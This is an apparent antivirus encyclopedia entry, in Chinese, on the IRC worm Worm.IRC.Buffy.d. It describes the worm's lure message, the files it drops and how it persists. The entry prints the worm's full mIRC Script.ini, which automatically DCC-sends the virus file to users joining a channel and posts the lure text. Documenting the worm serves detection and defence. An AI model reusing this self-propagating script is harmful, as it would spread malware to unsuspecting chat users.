Worm.IRC.Buffy.d

基本信息

病毒別名：IRC-Worm.Buffy.d [AVP]

處理時間：

威脅級別：★★

中文名稱：蝴蝶

病毒類型：蠕蟲

影響系統：Win9x / WinNT

這是一個通過mIRC傳播的蠕蟲病毒。該病毒登入到mIRC的virus頻道向用戶傳送病毒檔案並傳送訊息“In every

generation there is a chosen one...She alone will stand against the vampires, the demons, and the forces of

darkness...She is the slayer...”誘騙用戶運行。它運行的時候將自己拷貝到C:\BTVS.exe，釋放檔案C:\Mirc\Script.ini、

C:\Windows\Winstart.bat和C:\Windows\Start Menu\Programs\Startup\Start.vbs。

1)拷貝病毒到C:\BTVS.exe

2)釋放3個檔案：

C:\Mirc\Script.ini

C:\Windows\Winstart.bat

C:\Windows\Start Menu\Programs\Startup\Start.vbs

3)Script.ini的內容：

[script]\nn0=ON 1:JOIN:#:{ /if ( $nick == $me ) { halt }\nn1=/dcc send $nick c:/BTVS.exe\nn2=}\n

n3=ON 1:CONNECT:/join #virus | /timer5 1 2 /msg #virus In every generation there is a chosen one...She alone will

stand against the vampires, the demons, and the forces of darkness...She is the slayer... | /timer4 1 5 /part

#virus

4)c:\windows\winstart.bat的內容：

@cls

@echo We like to talk big. Vampires do. 'I'm going to destroy the world.'

@echo That's just tough guy talk. Strutting around with your friends

@echo over a pint of blood. The truth is, I like this world. You've got...

@echo dog racing, Manchester United. And you've got people. Billions of people